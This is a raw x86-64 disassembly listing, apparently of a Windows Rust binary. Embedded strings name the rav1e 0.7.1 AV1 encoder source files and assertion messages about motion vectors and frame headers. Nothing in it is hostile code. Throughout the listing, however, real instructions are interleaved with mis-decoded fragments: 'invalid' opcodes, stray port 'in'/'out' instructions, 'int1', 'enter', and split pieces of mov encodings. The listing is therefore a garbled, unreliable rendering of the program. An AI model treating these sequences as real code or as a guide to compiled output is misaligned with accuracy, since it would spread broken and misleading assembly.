jbe 0x1400cc7a2
mov rax, qword [rbp + 0xa08]
mov rcx, qword [rsp + 0xc8]
mov r8, qword [rcx + 0x1278]
mov rcx, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rcx
mov r10, qword [rbp + 0xa18]
mov qword [rsp + 0x38], r10
mov byte [rsp + 0x30], r11b
mov qword [rsp + 0x28], rax
mov word [rsp + 0x20], bx
mov byte [rsp + 0x48], 0
mov rcx, qword [rsp + 0xe8]
mov rdx, r13
mov r13, r10
call fcn.1400ce3ea
cmp byte [rbp + 0xa28], 0
jne 0x1400cd3ba
mov r14b, byte [rbp + 0xa38]
mov ecx, r14d
call fcn.140087f32
mov rsi, rax
movzx eax, byte [rsp + 0xd8]
div sil
movzx r12d, al
mov ecx, r14d
call fcn.140086bfc
mov rcx, rax
movzx eax, byte [rsp + 0xd0]
mov qword [rsp + 0x108], rcx
div cl
movzx eax, al
mov qword [rsp + 0x110], rax
mov rbx, qword [rsp + 0xe8]
mov cl, byte [rbx + 0x2fb]
mov rdi, qword [rsp + 0x100]
mov rdx, qword [rdi + 0x1b0]
mov rax, qword [rsp + 0xc8]
mov r8, qword [rax + 0x1278]
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x20], rax
mov r9, r13
call fcn.140108511
mov edx, eax
mov rax, qword [rdi + 0x70]
mov rcx, qword [rax + 0x90]
mov qword [rsp + 0x138], rcx
mov rax, qword [rax + 0x98]
mov qword [rsp + 0x150], rax
lea rcx, [rdi + 0x288]
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x1f0]
mov r8b, byte [rbx + 0x2fc]
mov byte [rsp + 0x28], r8b
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0
xor edi, edi
dec dword [rax - 0x77]
mov word [rax + rbp*2], fs
add dword [rax], eax
add byte [rax + 0xf02494], cl
add byte [rax], al
mov r8d, r14d
xor r9d, r9d
call fcn.140073611
movzx eax, byte [rbp + 0x9f0]
shl eax, 8
mov dword [rsp + 0x128], eax
xorps xmm6, xmm6
xor eax, eax
mov qword [rsp + 0xd0], rax
cmp rdi, qword [rsp + 0x110]
jae 0x1400ccc23
mov qword [rsp + 0xd8], rdi
imul rdi, qword [rsp + 0x108]
add byte [rax + 3], cl
mov ebp, 0xa20
xor r15d, r15d
mov rbx, r13
mov r13, qword [rsp + 0x100]
mov rax, qword [r13 + 0x2e8]
mov rcx, qword [r13 + 0x2f0]
lea r14, [r15 - 1]
imul r14, rsi
add r14, rbx
mov rdx, rsi
imul rdx, r15
add rdx, rbx
mov r13, rbx
cmp r15, r12
jae 0x1400cc792
inc r15
add r14, rsi
add esi, esi
lea r8, [rdx + rsi]
cmp rdx, rax
mov rdx, r8
jae 0x1400cc67f
mov rdx, r8
cmp rdi, rcx
jae 0x1400cc67f
mov rbx, r13
mov r13, qword [rsp + 0x100]
mov rax, qword [r13 + 0x70]
mov r8, qword [rax + 0x30]
mov r9, qword [rax + 0x38]
mov rcx, r14
mov rdx, rdi
call fcn.14007df20
mov ecx, dword [rsp + 0x128]
mov dword [rsp + 0xa8], ecx
mov cl, byte [rsp + 0xf0]
mov byte [rsp + 0x90], cl
mov qword [rsp + 0x80], rdx
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x78
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x70], al
mov al, byte [rbp + 0xa40]
mov byte [rsp + 0x68], al
mov al, byte [rbp + 0xa38]
mov byte [rsp + 0x60], al
mov al, byte [rbp + 0x9e0]
mov byte [rsp + 0x58], al
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], r14
movups xmmword [rsp + 0x38], xmm6
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
and qword [rsp + 0xa0], 0
mov qword [rsp + 0x98], 2
mov byte [rsp + 0x88], 0
and qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xe8]
mov rdx, r13
mov r8, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xe0]
call fcn.1400cf579
mov rcx, qword [rsp + 0xd0]
or cl, al
and cl, 1
mov qword [rsp + 0xd0], rcx
jmp 0x1400cc659
mov rdi, qword [rsp + 0xd8]
inc rdi
jmp 0x1400cc625
mov sil, byte [rbp + 0xa38]
mov ecx, esi
call fcn.140087f32
mov rcx, rax
movzx eax, byte [rsp + 0xd8]
mov qword [rsp + 0x110], rcx
div cl
mov ebx, eax
mov ecx, esi
call fcn.140086bfc
mov rcx, rax
movzx eax, byte [rsp + 0xd0]
add byte [rax - 0x77], cl
mov word [rax + rcx], fs
add dword [rax], eax
add dh, dh
int1
mov esi, eax
mov rax, qword [rsp + 0xe8]
mov cl, byte [rax + 0x2fb]
mov rdx, qword [r13 + 0x1b0]
mov rax, qword [rsp + 0xc8]
mov r8, qword [rax + 0x1278]
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xa18]
call fcn.140108511
mov byte [rsp + 0xff], al
mov byte [rsp + 0xc7], al
test al, al
jne 0x1400cc840
cmp byte [rbp + 0xa28], 0
je 0x1400cd506
movzx ebx, bl
movzx eax, sil
mov qword [rsp + 0xd0], rax
mov rax, qword [r13 + 0x70]
mov rcx, qword [rax + 0x90]
mov qword [rsp + 0x140], rcx
mov rax, qword [rax + 0x98]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x120]
mov ecx, dword [rax + 0x230]
mov dword [rsp + 0x128], ecx
lea rdx, [r13 + 0x288]
mov rax, qword [rax + 0x1f0]
mov rcx, qword [rsp + 0xe8]
mov cl, byte [rcx + 0x2fc]
mov byte [rsp + 0x28], cl
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x190], rdx
mov rcx, rdx
mov dl, byte [rsp + 0xc7]
mov r8b, byte [rbp + 0xa38]
mov r9b, 1
call fcn.140073611
movzx eax, byte [rbp + 0x9f0]
shl eax, 8
mov dword [rsp + 0xf0], eax
xor r8d, r8d
mov rdx, qword [rsp + 0x110]
cmp r8, qword [rsp + 0xd0]
jae 0x1400cca7f
mov rsi, r8
imul rsi, qword [rsp + 0x108]
add rsi, qword [rbp + 0xa20]
mov r15, qword [r13 + 0x2e8]
mov r14, qword [r13 + 0x2f0]
xor r13d, r13d
mov r12, qword [rbp + 0xa18]
lea rdi, [r13 - 1]
imul rdi, rdx
add rdi, r12
mov rax, rdx
imul rax, r13
add rax, r12
cmp r13, rbx
jae 0x1400cca6f
mov r12, r13
inc r13
add rdi, rdx
xlatb
lea rcx, [rax + rdx]
cmp rax, r15
mov rax, rcx
jae 0x1400cc93b
mov rax, rcx
cmp rsi, r14
jae 0x1400cc93b
mov rax, qword [rsp + 0x100]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xd8], r8
mov r8, qword [rax + 0x30]
mov r9, qword [rax + 0x38]
cmp byte [rax - 0x77], cl
stc
mov rdx, rsi
call fcn.14007df20
mov qword [rsp + 0x80], rdx
mov ecx, dword [rsp + 0xf0]
mov dword [rsp + 0xa8], ecx
mov cl, byte [rsp + 0xc7]
add byte [rax], al
mov byte [rsp + 0x90], cl
mov cl, byte [rbp + 0xa28]
mov byte [rsp + 0x88], cl
mov qword [rsp + 0x78], rax
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x70], al
mov al, byte [rbp + 0xa40]
mov byte [rsp + 0x68], al
mov al, byte [rbp + 0xa38]
test dword [rax], edi
or al, byte [rax]
add byte [rax - 0x759fdbbc], cl
test eax, esp
or dword [rax], eax
add byte [rax + 0x48582444], cl
mov dword [rsp + 0x50], esi
mov qword [rsp + 0x48], rdi
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x30], rax
mov r12, qword [rbp + 0xa18]
mov qword [rsp + 0x28], r12
and qword [rsp + 0xa0], 0
mov qword [rsp + 0x98], 2
and qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0x100]
mov r8, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xe0]
call fcn.1400cf579
mov r8, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x110]
jmp 0x1400cc926
inc r8
mov r13, qword [rsp + 0x100]
jmp 0x1400cc8ed
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0xa18]
mov rdx, qword [rbp + 0xa20]
mov r8b, byte [rbp + 0xa10]
mov r9, qword [rsp + 0x140]
call fcn.1400cdd38
test al, al
je 0x1400cd3ba
mov rax, qword [rsp + 0x120]
cmp dword [rax + 0x230], 3
je 0x1400cd3ba
mov cl, byte [rbp + 0xa10]
mov r14, qword [rsp + 0x140]
mov rdx, r14
mov rsi, qword [rsp + 0x118]
mov r8, rsi
call fcn.140086baf
mov edi, eax
mov rax, qword [rsp + 0x110]
imul rax, rbx
mov ecx, r14d
and ecx, 0x3f
mov r15, rax
mov rbx, rax
mov qword [rsp + 0x150], rcx
shr rbx, cl
mov r14, qword [rsp + 0x108]
imul r14, qword [rsp + 0xd0]
mov ecx, esi
and ecx, 0x3f
mov r12, r14
mov qword [rsp + 0x1a8], rcx
shr r14, cl
test rbx, rbx
sete al
test r14, r14
sete sil
or sil, al
mov ecx, edi
call fcn.140087f32
test sil, sil
push 1
pop rcx
cmovne r14, rcx
mov r8, rax
cmovne rbx, rcx
xor eax, eax
mov qword [rsp + 0x158], rax
mov rax, rbx
xor edx, edx
mov qword [rsp + 0x178], r8
div r8
mov qword [rsp + 0x128], rax
mov byte [rsp + 0x138], dil
mov ecx, edi
call fcn.140086bfc
mov rcx, rax
mov rax, r14
xor edx, edx
mov qword [rsp + 0x1a0], rcx
div rcx
mov qword [rsp + 0x1b0], rax
mov al, byte [rbp + 0x9e8]
cmp al, 0xd
jne 0x1400cd011
mov rax, qword [rsp + 0xe8]
movups xmm0, xmmword [rax + 0x260]
movups xmmword [rsp + 0x30], xmm0
mov al, byte [rbp + 0xa38]
mov byte [rsp + 0x28], al
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x1c0]
mov rdx, r13
mov rsi, qword [rbp + 0xa18]
mov r8, rsi
mov rdi, qword [rbp + 0xa20]
mov r9, rdi
call fcn.1400d858f
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x158], rdx
jmp 0x1400cd02a
mov rax, qword [rsp + 0x120]
mov esi, dword [rax + 0x230]
mov dword [rsp + 0x28], esi
mov r15, qword [rsp + 0x150]
mov qword [rsp + 0x20], r15
mov rcx, r13
mov rdx, qword [rbp + 0xa20]
mov r8b, byte [rbp + 0xa10]
mov r14, qword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
mov r9, r14
call fcn.1400cdd38
cmp esi, 3
je 0x1400cd3ba
test al, al
je 0x1400cd3ba
invalid
invalid
add byte [rax], al
lea rax, [0x140240628]
mov rcx, qword [rsp + 0x118]
mov bl, byte [rcx + rax]
mov cl, byte [rbp + 0xa10]
mov rdx, r14
mov r8, r15
mov eax, edi
call fcn.140086baf
mov r12d, eax
mov ecx, ebx
call fcn.140087f32
inc dword [rcx + rcx*4 - 0xf]
and ecx, 0x3f
mov qword [rsp + 0xd8], rax
mov rdi, rax
mov qword [rsp + 0x140], rcx
shr rdi, cl
mov ecx, ebx
call fcn.140086bfc
mov ecx, r15d
and ecx, 0x3f
mov qword [rsp + 0x108], rax
mov rsi, rax
mov qword [rsp + 0x160], rcx
shr rsi, cl
test rdi, rdi
sete al
test rsi, rsi
test esi, esi
sete bl
or bl, al
mov ecx, r12d
call fcn.140087f32
test bl, bl
fld xword [rdx + 1]
pop rcx
cmovne edi, ecx
mov rdx, rax
movzx eax, dil
cmovne esi, ecx
mov qword [rsp + 0x180], rdx
div dl
movzx eax, al
mov qword [rsp + 0x110], rax
and al, 0x10
add dword [rax], eax
add byte [rax], al
mov ecx, r12d
call fcn.140086bfc
mov rcx, rax
movzx eax, sil
mov qword [rsp + 0x170], rcx
div cl
movzx eax, al
mov qword [rsp + 0x178], rax
test byte [rsp + 0xd0], 1
jne 0x1400ccd67
mov dword [rsp + 0x158], 0
jmp 0x1400ccd7c
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, rsi
call fcn.1401c6eb0
mov cl, byte [rbp + 0xa40]
mov edx, r12d
loop 0x1400ccd59
mov edx, 0x89000027
test byte [rax + rbx*2], ah
add dword [rax], eax
invalid
mov r8d, r12d
xor eax, eax
cmp qword [rsp + 0x108], 1
cmovne r15, rax
mov rcx, qword [rbp + 0xa20]
sub rcx, r15
mov qword [rsp + 0x148], rcx
cmp qword [rsp + 0xd8], 1
cmovne r14, rax
mov rax, r13
sub rax, r14
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x150], eax
push 1
pop rsi
mov byte [rsp + 0xc7], r12b
mov dil, byte [rsp + 0xc7]
cmp rsi, 3
je 0x1400cd3ba
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x1f0]
mov rdx, qword [rsp + 0xe8]
mov cl, byte [rdx + rsi + 0x2fc]
mov dl, byte [rdx + rsi + 0x2ff]
mov byte [rsp + 0x30], dl
mov byte [rsp + 0x28], cl
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x168]
mov ecx, dword [rsp + 0x168]
mov dl, byte [rsp + 0xf0]
xor r9d, r9d
call fcn.140073611
mov qword [rsp + 0x118], rsi
imul rax, rsi, 0x60
mov qword [rsp + 0x138], rax
xor eax, eax
mov rsi, qword [rsp + 0x100]
cmp rax, qword [rsp + 0x178]
jae 0x1400ccff9
mov qword [rsp + 0xd0], rax
imul rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x160]
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rax - 0x2d], cl
loopne 0x1400cceb2
add eax, dword [rsp + 0x148]
mov qword [rsp + 0x108], rax
add byte [rbp + 0x31], al
in al, 0x45
xor esi, esi
cmp r14, qword [rsp + 0x110]
jae 0x1400ccfe9
lea rax, [r14 + 1]
mov qword [rsp + 0xd8], rax
add byte [rax], al
mov r15, r12
mov rcx, qword [rsp + 0x140]
add dword [rax], eax
add byte [rcx - 0x2d], cl
out 0x4c, eax
add edi, dword [rsp + 0x150]
mov rax, qword [rsi + 0x70]
mov rcx, qword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
mov r8, qword [rax + rcx + 0x30]
mov r9, qword [rax + rcx + 0x38]
mov rcx, r13
mov rdx, qword [rbp + 0xa20]
call fcn.14007df20
mov rbx, rax
mov rsi, rdx
mov ecx, edi
call fcn.140080ff1
mov r13, rax
imul r13, r14
add r13, rbx
mov ecx, edi
call fcn.14008100c
mov rcx, qword [rsp + 0xd0]
add byte [rax], al
add byte [rax + 0xf], cl
scasd eax, dword [rdi]
ror dword [rax + 1], 0xf0
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xa8], eax
mov al, byte [rsp + 0xf0]
mov byte [rsp + 0x90], al
mov qword [rsp + 0x78], r13
mov r13, qword [rbp + 0xa18]
mov rsi, qword [rsp + 0x100]
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x158]
mov byte [rsp + 0x68], al
mov byte [rsp + 0x60], dil
mov al, byte [rbp + 0x9e0]
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x108]
and al, 8
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x50
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r14
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x30], rax
and qword [rsp + 0xa0], 0
mov qword [rsp + 0x28], r13
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x98], 2
mov byte [rsp + 0x88], 0
mov rcx, qword [rsp + 0xe8]
and al, 0xe8
add byte [rax], al
add byte [rax - 0x77], cl
mov r8, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xe0]
call fcn.1400cf579
add r12, qword [rsp + 0x180]
mov r14, qword [rsp + 0xd8]
jmp 0x1400cce7f
mov rax, qword [rsp + 0xd0]
inc rax
jmp 0x1400cce3f
mov rsi, qword [rsp + 0x118]
inc rsi
mov r8b, byte [rsp + 0xc7]
jmp 0x1400ccdce
push 2
pop rax
mov qword [rsp + 0x160], rax
mov rsi, qword [rbp + 0xa18]
mov rdi, qword [rbp + 0xa20]
mov r14b, byte [rsp + 0x138]
mov ecx, r14d
call fcn.140080ff1
mov qword [rsp + 0x170], rax
cmp rax, 0x1f
jbe 0x1400cd05e
mov dword [rsp + 0x148], 0
mov bl, byte [rbp + 0x9e8]
mov r8d, r14d
jmp 0x1400cd09b
mov ecx, r14d
call fcn.14008100c
cmp rax, 0x1f
jbe 0x1400cd07f
mov dword [rsp + 0x148], 0
mov bl, byte [rbp + 0x9e8]
jmp 0x1400cd093
mov bl, byte [rbp + 0x9e8]
mov ecx, ebx
call fcn.140075bad
mov dword [rsp + 0x148], eax
mov r8b, byte [rsp + 0x138]
push 1
pop r14
xor eax, eax
cmp bl, 0xd
sete al
mov dword [rsp + 0x168], eax
xor eax, eax
cmp r15, 1
mov rcx, qword [rsp + 0x140]
add dword [rax], eax
add byte [rax + 0xf], cl
enter 0x2948, 0xffffffffffffffce
mov qword [rsp + 0x1b8], rsi
cmp r12, 1
mov rcx, qword [rsp + 0x118]
cmovne rcx, rax
sub rdi, rcx
mov qword [rsp + 0x198], rdi
movzx eax, byte [rbp + 0x9f8]
shl eax, 8
mov dword [rsp + 0x18c], eax
mov dword [rsp + 0xd8], eax
add byte [rax], al
add byte [rbx + rcx*4 - 0x54], cl
and al, 0
add dword [rax], eax
invalid
cmp r14, 3
je 0x1400cd3ba
invalid
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x1f0]
mov rdx, qword [rsp + 0xe8]
mov edx, dword [rsp + 0xe8]
mov cl, byte [rdx + r14 + 0x2fc]
mov dl, byte [rdx + r14 + 0x2ff]
mov byte [rsp + 0x30], dl
mov byte [rsp + 0x28], cl
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x190]
mov dl, byte [rsp + 0xc7]
mov r9b, 1
call fcn.140073611
mov eax, dword [rbp + 0xa30]
mov dword [rsp + 0x130], eax
movzx eax, byte [rsp + r14 + 0x12f]
movzx edx, byte [rsp + r14 + 0x131]
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x17806f
imul dx, word [rcx + rax*2]
mov dword [rsp + 0x140], edx
imul rax, r14, 0x60
mov qword [rsp + 0x180], rax
add byte [rax], al
xor eax, eax
mov qword [rsp + 0xf0], r14
cmp rax, qword [rsp + 0x1b0]
jae 0x1400cd3aa
mov qword [rsp + 0x108], rax
imul rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1a8]
shl rax, cl
add rax, qword [rsp + 0x198]
mov qword [rsp + 0x118], rax
xor r14d, r14d
xor edi, edi
xor ebx, ebx
cmp rbx, qword [rsp + 0x128]
jae 0x1400cd392
lea rax, [rbx + 1]
mov qword [rsp + 0x110], rax
mov rsi, r14
test byte [rax - 0x75], 0x8c
and al, 0x50
add dword [rax], eax
add byte [rax - 0x2d], cl
out 0x48, al
add esi, dword [rsp + 0x1b8]
mov rax, qword [r13 + 0x70]
mov rcx, qword [rsp + 0x180]
mov r8, qword [rax + rcx + 0x30]
mov r9, qword [rax + rcx + 0x38]
mov rcx, qword [rbp + 0xa18]
mov rdx, qword [rbp + 0xa20]
call fcn.14007df20
mov r15, rax
mov r12, rdx
add r15, rdi
mov qword [rsp + 0xd0], rdi
mov dil, byte [rsp + 0x138]
mov ecx, edi
stc
call fcn.14008100c
mov r8, qword [rsp + 0x108]
imul rax, r8
add rax, r12
mov cl, byte [rbp + 0x9e8]
mov rdx, rcx
cmp dl, 0xd
mov ecx, dword [rsp + 0xd8]
cmove ecx, dword [rsp + 0x140]
mov dword [rsp + 0xd8], ecx
shl ecx, 0x10
add ecx, dword [rsp + 0x18c]
or ecx, dword [rsp + 0x168]
mov dword [rsp + 0xa8], ecx
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xa0], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x98], rax
mov al, byte [rsp + 0xc7]
add byte [rax + 0x902484], cl
add byte [rax], al
add byte [rax + 0x902484], cl
add byte [rax], al
mov al, byte [rbp + 0xa28]
mov byte [rsp + 0x88], al
mov qword [rsp + 0x78], r15
and al, 0x78
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x148]
mov byte [rsp + 0x68], al
mov byte [rsp + 0x60], dil
test dword [rax], edx
or al, byte [rax]
add byte [rax - 0x748fdbbc], cl
test byte [rax + rcx*2], ah
add dword [rax], eax
add byte [rax + 0x40682444], cl
mov byte [rsp + 0x60], bh
mov rdi, qword [rsp + 0xd0]
mov byte [rsp + 0x58], dl
pop rax
pop rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], rbx
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0xa18]
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xe8]
mov rdx, r13
mov r8, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xe0]
call fcn.1400cf579
add rdi, qword [rsp + 0x170]
add r14, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x110]
jmp 0x1400cd1e4
invalid
invalid
invalid
mov rax, qword [rsp + 0x108]
inc rax
mov r14, qword [rsp + 0xf0]
jmp 0x1400cd1a3
add dword [rax], eax
add byte [rax - 1], cl
ror byte [rbx + rcx*4 - 0x4c], 0x24
lock add byte [rax], al
add cl, ch
stc
std
invalid
inc r14
mov r8b, byte [rsp + 0x138]
jmp 0x1400cd106
movaps xmm6, xmmword [rbp + 0x960]
add byte [rax], al
lea rsp, [rbp + 0x978]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp rcx, 0xe
je 0x1400cd43e
jmp case.0x1400cbead.18
movzx r8d, word [rbp + 0xa0c]
movzx r9d, word [rbp + 0xa0e]
movzx eax, word [rsp + 0x134]
movzx ecx, word [rsp + 0x136]
mov byte [rsp + 0x30], r15b
add byte [rdi + rcx - 0x49], al
lea ecx, [rsi]
or al, byte [rax]
add byte [rdi], cl
mov bh, 0x84
and al, 0x34
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
and al, 0x36
add dword [rax], eax
add byte [rax + rcx*4 + 0x7c], al
and al, 0x30
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xe0]
call fcn.1400cdc0e
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
jmp case.0x1400cbead.18
movzx edi, word [rbp + 0xa08]
test r14b, r14b
je 0x1400cd480
test di, di
jne 0x1400cd59d
cmp word [rbp + 0xa0a], 0
je case.0x1400cbead.18
lea rcx, [rbp + 0xa0a]
lea r8, [rsp + 0x1c0]
and qword [r8], 0
lea rdx, [0x1402898d8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c8175
mov rdx, qword [rbp + 0xa50]
cmp di, word [rdx]
jne 0x1400cd5b9
movzx eax, word [rbp + 0xa0a]
cmp ax, word [rdx + 2]
je case.0x1400cbead.18
lea rcx, [rbp + 0xa0a]
add rdx, 2
lea r8, [rsp + 0x1c0]
and qword [r8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c8175
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x10
pop rdx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov rcx, r14
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rdx, rcx
jmp 0x1400ccd5f
lea rdx, [rsp + 0x1c0]
and qword [rdx], 0
lea rcx, [rsp + 0xff]
call fcn.1401c8c6b
lea rcx, str.assertion_failed:_index___self.rowsassertion_failed:_index___self.rect.heightC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_arrayvec_0.7.4_src_arrayvec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tiler.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
push 0x23
jmp 0x1400cd587
lea rcx, str.assertion_failed:_num_mv_found___ref_mv_idx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x2b
jmp 0x1400cd587
lea rcx, str.assertion_failed:_bsize.cfl_allowed__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x25
jmp 0x1400cd587
lea rcx, str.assertion_failed:_mv_stack_ref_mv_idx_.this_mv.row__mvs_0_.row_o__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x40
jmp 0x1400cd587
lea rcx, str.assertion_failed:_0__mvs_0_.row
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400cd585
lea rcx, str.assertion_failed:_0__mvs_0_.col
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 0x21
pop rdx
call fcn.1401c6f30
lea rcx, str.assertion_failed:_num_mv_found___2
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400cd52d
lea r8, [rsp + 0x1c0]
and qword [r8], 0
lea rdx, [0x1402898d8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400cd5cc
lea r8, [rsp + 0x1c0]
and qword [r8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
lea rcx, [rbp + 0xa08]
call fcn.1401c8175
int3
mov rbx, rdx
mov r14, rcx
movzx eax, byte [rsp + 0xc8]
shl eax, 9
lea r15, [0x140242440]
add r15, rax
shl r12d, 5
mov rdx, qword [r12 + r15]
movsx edi, word [rbx]
mov rax, qword [rcx]
mov ecx, eax
and ecx, 0x1f
mov esi, edi
dec byte [rcx - 0x2cd3dbb4]
out 0x4f, al
mov eax, dword [rsp + rdi + 8]
mov r11, qword [r12 + r15 + 0x10]
mov r10d, esi
neg r10d
cmovs r10d, esi
add r10d, dword [r14 + 8]
mov r13, qword [r12 + r15 + 0x18]
mov r15d, dword [r14 + 0xc]
mov r12d, dword [r14 + 0x10]
mov cl, byte [r14 + 0x14]
imul r10, r15
add r10, r12
shr r10, 0x20
shr r10, cl
mov ecx, r10d
neg ecx
test esi, esi
cmovns ecx, r10d
mov word [r9], cx
movzx r15d, word [r14 + 0x32]
mov qword [rsp + 0x30], r14
mov r12d, dword [r14 + 0x18]
mov rsi, 0xffffffffffffffff
mov ecx, eax
shl rsi, cl
not rsi
mov r14, r15
add rsi, r15
sub rsi, r12
out 0x48, al
shr rsi, cl
test r13, r13
je 0x1400d0a66
mov rax, qword [rsp + 0x20]
cmp r13, rax
cmovae r13, rax
mov eax, edi
neg ax
cmovs ax, di
cmp ax, si
jl case.0x14002eaa5.688
movzx eax, word [r11]
jmp case.0x14002e130.698
mov r15, r9
xor eax, eax
jmp 0x1400d0aa2
xor eax, eax
mov ecx, 1
cmp r13, rcx
je case.0x14002eaa5.686
movzx edi, word [rbx + rcx*2]
mov ebp, edi
neg bp
cmovs bp, di
cmp bp, si
jl 0x1400d0a92
movzx edi, word [r11 + rcx*2]
jmp 0x1400d0a94
xor edi, edi
cmp ax, di
cmovbe eax, edi
inc rcx
jmp 0x1400d0a74
mov r15, r9
lea ecx, [rax + 1]
xor r9d, r9d
test r10w, r10w
setne r9b
test ax, ax
cmovne r9d, ecx
lea rax, [rdx + r8*2]
mov dword [rsp + 0x28], r9d
movzx ecx, r9w
lea r13, [rsp + 0x38]
mov qword [r13], rdx
mov qword [r13 + 8], rax
mov qword [r13 + 0x10], rcx
mov qword [r13 + 0x18], 1
mov rax, qword [rsp + 0x30]
mov esi, dword [rax + 0x24]
mov edi, dword [rax + 0x28]
mov r12d, dword [rax + 0x2c]
and r12d, 0x3f
mov ebp, 1
